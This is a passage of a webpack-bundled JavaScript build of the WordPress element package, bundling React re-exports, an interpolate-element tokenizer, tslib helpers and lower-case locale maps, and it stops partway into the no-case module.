1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ var __webpack_modules__ = ({
4
5/***/ 4140:
6/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
7
8
9
10var m = __webpack_require__(5795);
11if (true) {
12 exports.H = m.createRoot;
13 exports.c = m.hydrateRoot;
14} else { var i; }
15
16
17/***/ }),
18
19/***/ 5795:
20/***/ ((module) => {
21
22module.exports = window["ReactDOM"];
23
24/***/ })
25
26/******/ });
27/************************************************************************/
28/******/ // The module cache
29/******/ var __webpack_module_cache__ = {};
30/******/
31/******/ // The require function
32/******/ function __webpack_require__(moduleId) {
33/******/ // Check if module is in cache
34/******/ var cachedModule = __webpack_module_cache__[moduleId];
35/******/ if (cachedModule !== undefined) {
36/******/ return cachedModule.exports;
37/******/ }
38/******/ // Create a new module (and put it into the cache)
39/******/ var module = __webpack_module_cache__[moduleId] = {
40/******/ // no module.id needed
41/******/ // no module.loaded needed
42/******/ exports: {}
43/******/ };
44/******/
45/******/ // Execute the module function
46/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
47/******/
48/******/ // Return the exports of the module
49/******/ return module.exports;
50/******/ }
51/******/
52/************************************************************************/
53/******/ /* webpack/runtime/define property getters */
54/******/ (() => {
55/******/ // define getter functions for harmony exports
56/******/ __webpack_require__.d = (exports, definition) => {
57/******/ for(var key in definition) {
58/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
59/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
60/******/ }
61/******/ }
62/******/ };
63/******/ })();
64/******/
65/******/ /* webpack/runtime/hasOwnProperty shorthand */
66/******/ (() => {
67/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
68/******/ })();
69/******/
70/******/ /* webpack/runtime/make namespace object */
71/******/ (() => {
72/******/ // define __esModule on exports
73/******/ __webpack_require__.r = (exports) => {
74/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
75/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
76/******/ }
77/******/ Object.defineProperty(exports, '__esModule', { value: true });
78/******/ };
79/******/ })();
80/******/
81/************************************************************************/
82var __webpack_exports__ = {};
83// ESM COMPAT FLAG
84__webpack_require__.r(__webpack_exports__);
85
86// EXPORTS
87__webpack_require__.d(__webpack_exports__, {
88 Children: () => (/* reexport */ external_React_namespaceObject.Children),
89 Component: () => (/* reexport */ external_React_namespaceObject.Component),
90 Fragment: () => (/* reexport */ external_React_namespaceObject.Fragment),
91 Platform: () => (/* reexport */ platform_default),
92 PureComponent: () => (/* reexport */ external_React_namespaceObject.PureComponent),
93 RawHTML: () => (/* reexport */ RawHTML),
94 StrictMode: () => (/* reexport */ external_React_namespaceObject.StrictMode),
95 Suspense: () => (/* reexport */ external_React_namespaceObject.Suspense),
96 cloneElement: () => (/* reexport */ external_React_namespaceObject.cloneElement),
97 concatChildren: () => (/* reexport */ concatChildren),
98 createContext: () => (/* reexport */ external_React_namespaceObject.createContext),
99 createElement: () => (/* reexport */ external_React_namespaceObject.createElement),
100 createInterpolateElement: () => (/* reexport */ create_interpolate_element_default),
101 createPortal: () => (/* reexport */ external_ReactDOM_.createPortal),
102 createRef: () => (/* reexport */ external_React_namespaceObject.createRef),
103 createRoot: () => (/* reexport */ client/* createRoot */.H),
104 findDOMNode: () => (/* reexport */ external_ReactDOM_.findDOMNode),
105 flushSync: () => (/* reexport */ external_ReactDOM_.flushSync),
106 forwardRef: () => (/* reexport */ external_React_namespaceObject.forwardRef),
107 hydrate: () => (/* reexport */ external_ReactDOM_.hydrate),
108 hydrateRoot: () => (/* reexport */ client/* hydrateRoot */.c),
109 isEmptyElement: () => (/* reexport */ isEmptyElement),
110 isValidElement: () => (/* reexport */ external_React_namespaceObject.isValidElement),
111 lazy: () => (/* reexport */ external_React_namespaceObject.lazy),
112 memo: () => (/* reexport */ external_React_namespaceObject.memo),
113 render: () => (/* reexport */ external_ReactDOM_.render),
114 renderToString: () => (/* reexport */ serialize_default),
115 startTransition: () => (/* reexport */ external_React_namespaceObject.startTransition),
116 switchChildrenNodeName: () => (/* reexport */ switchChildrenNodeName),
117 unmountComponentAtNode: () => (/* reexport */ external_ReactDOM_.unmountComponentAtNode),
118 useCallback: () => (/* reexport */ external_React_namespaceObject.useCallback),
119 useContext: () => (/* reexport */ external_React_namespaceObject.useContext),
120 useDebugValue: () => (/* reexport */ external_React_namespaceObject.useDebugValue),
121 useDeferredValue: () => (/* reexport */ external_React_namespaceObject.useDeferredValue),
122 useEffect: () => (/* reexport */ external_React_namespaceObject.useEffect),
123 useId: () => (/* reexport */ external_React_namespaceObject.useId),
124 useImperativeHandle: () => (/* reexport */ external_React_namespaceObject.useImperativeHandle),
125 useInsertionEffect: () => (/* reexport */ external_React_namespaceObject.useInsertionEffect),
126 useLayoutEffect: () => (/* reexport */ external_React_namespaceObject.useLayoutEffect),
127 useMemo: () => (/* reexport */ external_React_namespaceObject.useMemo),
128 useReducer: () => (/* reexport */ external_React_namespaceObject.useReducer),
129 useRef: () => (/* reexport */ external_React_namespaceObject.useRef),
130 useState: () => (/* reexport */ external_React_namespaceObject.useState),
131 useSyncExternalStore: () => (/* reexport */ external_React_namespaceObject.useSyncExternalStore),
132 useTransition: () => (/* reexport */ external_React_namespaceObject.useTransition)
133});
134
135;// external "React"
136const external_React_namespaceObject = window["React"];
137;// ./node_modules/@wordpress/element/build-module/create-interpolate-element.js
138
139let indoc;
140let offset;
141let output;
142let stack;
143const tokenizer = /<(\/)?(\w+)\s*(\/)?>/g;
144function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) {
145 return {
146 element,
147 tokenStart,
148 tokenLength,
149 prevOffset,
150 leadingTextStart,
151 children: []
152 };
153}
154const createInterpolateElement = (interpolatedString, conversionMap) => {
155 indoc = interpolatedString;
156 offset = 0;
157 output = [];
158 stack = [];
159 tokenizer.lastIndex = 0;
160 if (!isValidConversionMap(conversionMap)) {
161 throw new TypeError(
162 "The conversionMap provided is not valid. It must be an object with values that are React Elements"
163 );
164 }
165 do {
166 } while (proceed(conversionMap));
167 return (0,external_React_namespaceObject.createElement)(external_React_namespaceObject.Fragment, null, ...output);
168};
169const isValidConversionMap = (conversionMap) => {
170 const isObject = typeof conversionMap === "object" && conversionMap !== null;
171 const values = isObject && Object.values(conversionMap);
172 return isObject && values.length > 0 && values.every((element) => (0,external_React_namespaceObject.isValidElement)(element));
173};
174function proceed(conversionMap) {
175 const next = nextToken();
176 const [tokenType, name, startOffset, tokenLength] = next;
177 const stackDepth = stack.length;
178 const leadingTextStart = startOffset > offset ? offset : null;
179 if (name && !conversionMap[name]) {
180 addText();
181 return false;
182 }
183 switch (tokenType) {
184 case "no-more-tokens":
185 if (stackDepth !== 0) {
186 const { leadingTextStart: stackLeadingText, tokenStart } = stack.pop();
187 output.push(indoc.substr(stackLeadingText, tokenStart));
188 }
189 addText();
190 return false;
191 case "self-closed":
192 if (0 === stackDepth) {
193 if (null !== leadingTextStart) {
194 output.push(
195 indoc.substr(
196 leadingTextStart,
197 startOffset - leadingTextStart
198 )
199 );
200 }
201 output.push(conversionMap[name]);
202 offset = startOffset + tokenLength;
203 return true;
204 }
205 addChild(
206 createFrame(conversionMap[name], startOffset, tokenLength)
207 );
208 offset = startOffset + tokenLength;
209 return true;
210 case "opener":
211 stack.push(
212 createFrame(
213 conversionMap[name],
214 startOffset,
215 tokenLength,
216 startOffset + tokenLength,
217 leadingTextStart
218 )
219 );
220 offset = startOffset + tokenLength;
221 return true;
222 case "closer":
223 if (1 === stackDepth) {
224 closeOuterElement(startOffset);
225 offset = startOffset + tokenLength;
226 return true;
227 }
228 const stackTop = stack.pop();
229 const text = indoc.substr(
230 stackTop.prevOffset,
231 startOffset - stackTop.prevOffset
232 );
233 stackTop.children.push(text);
234 stackTop.prevOffset = startOffset + tokenLength;
235 const frame = createFrame(
236 stackTop.element,
237 stackTop.tokenStart,
238 stackTop.tokenLength,
239 startOffset + tokenLength
240 );
241 frame.children = stackTop.children;
242 addChild(frame);
243 offset = startOffset + tokenLength;
244 return true;
245 default:
246 addText();
247 return false;
248 }
249}
250function nextToken() {
251 const matches = tokenizer.exec(indoc);
252 if (null === matches) {
253 return ["no-more-tokens"];
254 }
255 const startedAt = matches.index;
256 const [match, isClosing, name, isSelfClosed] = matches;
257 const length = match.length;
258 if (isSelfClosed) {
259 return ["self-closed", name, startedAt, length];
260 }
261 if (isClosing) {
262 return ["closer", name, startedAt, length];
263 }
264 return ["opener", name, startedAt, length];
265}
266function addText() {
267 const length = indoc.length - offset;
268 if (0 === length) {
269 return;
270 }
271 output.push(indoc.substr(offset, length));
272}
273function addChild(frame) {
274 const { element, tokenStart, tokenLength, prevOffset, children } = frame;
275 const parent = stack[stack.length - 1];
276 const text = indoc.substr(
277 parent.prevOffset,
278 tokenStart - parent.prevOffset
279 );
280 if (text) {
281 parent.children.push(text);
282 }
283 parent.children.push((0,external_React_namespaceObject.cloneElement)(element, null, ...children));
284 parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength;
285}
286function closeOuterElement(endOffset) {
287 const { element, leadingTextStart, prevOffset, tokenStart, children } = stack.pop();
288 const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset);
289 if (text) {
290 children.push(text);
291 }
292 if (null !== leadingTextStart) {
293 output.push(
294 indoc.substr(leadingTextStart, tokenStart - leadingTextStart)
295 );
296 }
297 output.push((0,external_React_namespaceObject.cloneElement)(element, null, ...children));
298}
299var create_interpolate_element_default = createInterpolateElement;
300
301
302;// ./node_modules/@wordpress/element/build-module/react.js
303
304function concatChildren(...childrenArguments) {
305 return childrenArguments.reduce(
306 (accumulator, children, i) => {
307 external_React_namespaceObject.Children.forEach(children, (child, j) => {
308 if ((0,external_React_namespaceObject.isValidElement)(child) && typeof child !== "string") {
309 child = (0,external_React_namespaceObject.cloneElement)(child, {
310 key: [i, j].join()
311 });
312 }
313 accumulator.push(child);
314 });
315 return accumulator;
316 },
317 []
318 );
319}
320function switchChildrenNodeName(children, nodeName) {
321 return children && external_React_namespaceObject.Children.map(children, (elt, index) => {
322 if (typeof elt?.valueOf() === "string") {
323 return (0,external_React_namespaceObject.createElement)(nodeName, { key: index }, elt);
324 }
325 if (!(0,external_React_namespaceObject.isValidElement)(elt)) {
326 return elt;
327 }
328 const { children: childrenProp, ...props } = elt.props;
329 return (0,external_React_namespaceObject.createElement)(
330 nodeName,
331 { key: index, ...props },
332 childrenProp
333 );
334 });
335}
336
337
338// EXTERNAL MODULE: external "ReactDOM"
339var external_ReactDOM_ = __webpack_require__(5795);
340// EXTERNAL MODULE: ./node_modules/react-dom/client.js
341var client = __webpack_require__(4140);
342;// ./node_modules/@wordpress/element/build-module/react-platform.js
343
344
345
346
347;// ./node_modules/@wordpress/element/build-module/utils.js
348const isEmptyElement = (element) => {
349 if (typeof element === "number") {
350 return false;
351 }
352 if (typeof element?.valueOf() === "string" || Array.isArray(element)) {
353 return !element.length;
354 }
355 return !element;
356};
357
358
359;// ./node_modules/@wordpress/element/build-module/platform.js
360const Platform = {
361 /** Platform identifier. Will always be `'web'` in this module. */
362 OS: "web",
363 /**
364 * Select a value based on the platform.
365 *
366 * @template T
367 * @param spec - Object with optional platform-specific values.
368 * @return The selected value.
369 */
370 select(spec) {
371 return "web" in spec ? spec.web : spec.default;
372 },
373 /** Whether the platform is web */
374 isWeb: true
375};
376var platform_default = Platform;
377
378
379;// ./node_modules/is-plain-object/dist/is-plain-object.mjs
380/*!
381 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
382 *
383 * Copyright (c) 2014-2017, Jon Schlinkert.
384 * Released under the MIT License.
385 */
386
387function isObject(o) {
388 return Object.prototype.toString.call(o) === '[object Object]';
389}
390
391function isPlainObject(o) {
392 var ctor,prot;
393
394 if (isObject(o) === false) return false;
395
396 // If has modified constructor
397 ctor = o.constructor;
398 if (ctor === undefined) return true;
399
400 // If has modified prototype
401 prot = ctor.prototype;
402 if (isObject(prot) === false) return false;
403
404 // If constructor does not have an Object-specific method
405 if (prot.hasOwnProperty('isPrototypeOf') === false) {
406 return false;
407 }
408
409 // Most likely a plain Object
410 return true;
411}
412
413
414
415;// ./node_modules/tslib/tslib.es6.mjs
416/******************************************************************************
417Copyright (c) Microsoft Corporation.
418
419Permission to use, copy, modify, and/or distribute this software for any
420purpose with or without fee is hereby granted.
421
422THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
423REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
424AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
425INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
426LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
427OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
428PERFORMANCE OF THIS SOFTWARE.
429***************************************************************************** */
430/* global Reflect, Promise, SuppressedError, Symbol, Iterator */
431
432var extendStatics = function(d, b) {
433 extendStatics = Object.setPrototypeOf ||
434 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
435 function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
436 return extendStatics(d, b);
437};
438
439function __extends(d, b) {
440 if (typeof b !== "function" && b !== null)
441 throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
442 extendStatics(d, b);
443 function __() { this.constructor = d; }
444 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
445}
446
447var __assign = function() {
448 __assign = Object.assign || function __assign(t) {
449 for (var s, i = 1, n = arguments.length; i < n; i++) {
450 s = arguments[i];
451 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
452 }
453 return t;
454 }
455 return __assign.apply(this, arguments);
456}
457
458function __rest(s, e) {
459 var t = {};
460 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
461 t[p] = s[p];
462 if (s != null && typeof Object.getOwnPropertySymbols === "function")
463 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
464 if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
465 t[p[i]] = s[p[i]];
466 }
467 return t;
468}
469
470function __decorate(decorators, target, key, desc) {
471 var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
472 if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
473 else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
474 return c > 3 && r && Object.defineProperty(target, key, r), r;
475}
476
477function __param(paramIndex, decorator) {
478 return function (target, key) { decorator(target, key, paramIndex); }
479}
480
481function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
482 function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
483 var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
484 var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
485 var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
486 var _, done = false;
487 for (var i = decorators.length - 1; i >= 0; i--) {
488 var context = {};
489 for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
490 for (var p in contextIn.access) context.access[p] = contextIn.access[p];
491 context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
492 var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
493 if (kind === "accessor") {
494 if (result === void 0) continue;
495 if (result === null || typeof result !== "object") throw new TypeError("Object expected");
496 if (_ = accept(result.get)) descriptor.get = _;
497 if (_ = accept(result.set)) descriptor.set = _;
498 if (_ = accept(result.init)) initializers.unshift(_);
499 }
500 else if (_ = accept(result)) {
501 if (kind === "field") initializers.unshift(_);
502 else descriptor[key] = _;
503 }
504 }
505 if (target) Object.defineProperty(target, contextIn.name, descriptor);
506 done = true;
507};
508
509function __runInitializers(thisArg, initializers, value) {
510 var useValue = arguments.length > 2;
511 for (var i = 0; i < initializers.length; i++) {
512 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
513 }
514 return useValue ? value : void 0;
515};
516
517function __propKey(x) {
518 return typeof x === "symbol" ? x : "".concat(x);
519};
520
521function __setFunctionName(f, name, prefix) {
522 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
523 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
524};
525
526function __metadata(metadataKey, metadataValue) {
527 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
528}
529
530function __awaiter(thisArg, _arguments, P, generator) {
531 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
532 return new (P || (P = Promise))(function (resolve, reject) {
533 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
534 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
535 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
536 step((generator = generator.apply(thisArg, _arguments || [])).next());
537 });
538}
539
540function __generator(thisArg, body) {
541 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
542 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
543 function verb(n) { return function (v) { return step([n, v]); }; }
544 function step(op) {
545 if (f) throw new TypeError("Generator is already executing.");
546 while (g && (g = 0, op[0] && (_ = 0)), _) try {
547 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
548 if (y = 0, t) op = [op[0] & 2, t.value];
549 switch (op[0]) {
550 case 0: case 1: t = op; break;
551 case 4: _.label++; return { value: op[1], done: false };
552 case 5: _.label++; y = op[1]; op = [0]; continue;
553 case 7: op = _.ops.pop(); _.trys.pop(); continue;
554 default:
555 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
556 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
557 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
558 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
559 if (t[2]) _.ops.pop();
560 _.trys.pop(); continue;
561 }
562 op = body.call(thisArg, _);
563 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
564 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
565 }
566}
567
568var __createBinding = Object.create ? (function(o, m, k, k2) {
569 if (k2 === undefined) k2 = k;
570 var desc = Object.getOwnPropertyDescriptor(m, k);
571 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
572 desc = { enumerable: true, get: function() { return m[k]; } };
573 }
574 Object.defineProperty(o, k2, desc);
575}) : (function(o, m, k, k2) {
576 if (k2 === undefined) k2 = k;
577 o[k2] = m[k];
578});
579
580function __exportStar(m, o) {
581 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
582}
583
584function __values(o) {
585 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
586 if (m) return m.call(o);
587 if (o && typeof o.length === "number") return {
588 next: function () {
589 if (o && i >= o.length) o = void 0;
590 return { value: o && o[i++], done: !o };
591 }
592 };
593 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
594}
595
596function __read(o, n) {
597 var m = typeof Symbol === "function" && o[Symbol.iterator];
598 if (!m) return o;
599 var i = m.call(o), r, ar = [], e;
600 try {
601 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
602 }
603 catch (error) { e = { error: error }; }
604 finally {
605 try {
606 if (r && !r.done && (m = i["return"])) m.call(i);
607 }
608 finally { if (e) throw e.error; }
609 }
610 return ar;
611}
612
613/** @deprecated */
614function __spread() {
615 for (var ar = [], i = 0; i < arguments.length; i++)
616 ar = ar.concat(__read(arguments[i]));
617 return ar;
618}
619
620/** @deprecated */
621function __spreadArrays() {
622 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
623 for (var r = Array(s), k = 0, i = 0; i < il; i++)
624 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
625 r[k] = a[j];
626 return r;
627}
628
629function __spreadArray(to, from, pack) {
630 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
631 if (ar || !(i in from)) {
632 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
633 ar[i] = from[i];
634 }
635 }
636 return to.concat(ar || Array.prototype.slice.call(from));
637}
638
639function __await(v) {
640 return this instanceof __await ? (this.v = v, this) : new __await(v);
641}
642
643function __asyncGenerator(thisArg, _arguments, generator) {
644 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
645 var g = generator.apply(thisArg, _arguments || []), i, q = [];
646 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
647 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
648 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
649 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
650 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
651 function fulfill(value) { resume("next", value); }
652 function reject(value) { resume("throw", value); }
653 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
654}
655
656function __asyncDelegator(o) {
657 var i, p;
658 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
659 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
660}
661
662function __asyncValues(o) {
663 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
664 var m = o[Symbol.asyncIterator], i;
665 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
666 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
667 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
668}
669
670function __makeTemplateObject(cooked, raw) {
671 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
672 return cooked;
673};
674
675var __setModuleDefault = Object.create ? (function(o, v) {
676 Object.defineProperty(o, "default", { enumerable: true, value: v });
677}) : function(o, v) {
678 o["default"] = v;
679};
680
681var ownKeys = function(o) {
682 ownKeys = Object.getOwnPropertyNames || function (o) {
683 var ar = [];
684 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
685 return ar;
686 };
687 return ownKeys(o);
688};
689
690function __importStar(mod) {
691 if (mod && mod.__esModule) return mod;
692 var result = {};
693 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
694 __setModuleDefault(result, mod);
695 return result;
696}
697
698function __importDefault(mod) {
699 return (mod && mod.__esModule) ? mod : { default: mod };
700}
701
702function __classPrivateFieldGet(receiver, state, kind, f) {
703 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
704 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
705 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
706}
707
708function __classPrivateFieldSet(receiver, state, value, kind, f) {
709 if (kind === "m") throw new TypeError("Private method is not writable");
710 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
711 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
712 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
713}
714
715function __classPrivateFieldIn(state, receiver) {
716 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
717 return typeof state === "function" ? receiver === state : state.has(receiver);
718}
719
720function __addDisposableResource(env, value, async) {
721 if (value !== null && value !== void 0) {
722 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
723 var dispose, inner;
724 if (async) {
725 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
726 dispose = value[Symbol.asyncDispose];
727 }
728 if (dispose === void 0) {
729 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
730 dispose = value[Symbol.dispose];
731 if (async) inner = dispose;
732 }
733 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
734 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
735 env.stack.push({ value: value, dispose: dispose, async: async });
736 }
737 else if (async) {
738 env.stack.push({ async: true });
739 }
740 return value;
741}
742
743var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
744 var e = new Error(message);
745 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
746};
747
748function __disposeResources(env) {
749 function fail(e) {
750 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
751 env.hasError = true;
752 }
753 var r, s = 0;
754 function next() {
755 while (r = env.stack.pop()) {
756 try {
757 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
758 if (r.dispose) {
759 var result = r.dispose.call(r.value);
760 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
761 }
762 else s |= 1;
763 }
764 catch (e) {
765 fail(e);
766 }
767 }
768 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
769 if (env.hasError) throw env.error;
770 }
771 return next();
772}
773
774function __rewriteRelativeImportExtension(path, preserveJsx) {
775 if (typeof path === "string" && /^\.\.?\//.test(path)) {
776 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
777 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
778 });
779 }
780 return path;
781}
782
783/* harmony default export */ const tslib_es6 = ({
784 __extends,
785 __assign,
786 __rest,
787 __decorate,
788 __param,
789 __esDecorate,
790 __runInitializers,
791 __propKey,
792 __setFunctionName,
793 __metadata,
794 __awaiter,
795 __generator,
796 __createBinding,
797 __exportStar,
798 __values,
799 __read,
800 __spread,
801 __spreadArrays,
802 __spreadArray,
803 __await,
804 __asyncGenerator,
805 __asyncDelegator,
806 __asyncValues,
807 __makeTemplateObject,
808 __importStar,
809 __importDefault,
810 __classPrivateFieldGet,
811 __classPrivateFieldSet,
812 __classPrivateFieldIn,
813 __addDisposableResource,
814 __disposeResources,
815 __rewriteRelativeImportExtension,
816});
817
818;// ./node_modules/lower-case/dist.es2015/index.js
819/**
820 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
821 */
822var SUPPORTED_LOCALE = {
823 tr: {
824 regexp: /\u0130|\u0049|\u0049\u0307/g,
825 map: {
826 İ: "\u0069",
827 I: "\u0131",
828 İ: "\u0069",
829 },
830 },
831 az: {
832 regexp: /\u0130/g,
833 map: {
834 İ: "\u0069",
835 I: "\u0131",
836 İ: "\u0069",
837 },
838 },
839 lt: {
840 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
841 map: {
842 I: "\u0069\u0307",
843 J: "\u006A\u0307",
844 Į: "\u012F\u0307",
845 Ì: "\u0069\u0307\u0300",
846 Í: "\u0069\u0307\u0301",
847 Ĩ: "\u0069\u0307\u0303",
848 },
849 },
850};
851/**
852 * Localized lower case.
853 */
854function localeLowerCase(str, locale) {
855 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
856 if (lang)
857 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
858 return lowerCase(str);
859}
860/**
861 * Lower case as a function.
862 */
863function lowerCase(str) {
864 return str.toLowerCase();
865}
866
867;// ./node_modules/no-case/dist.es2015/index.js
868
869// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
870var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
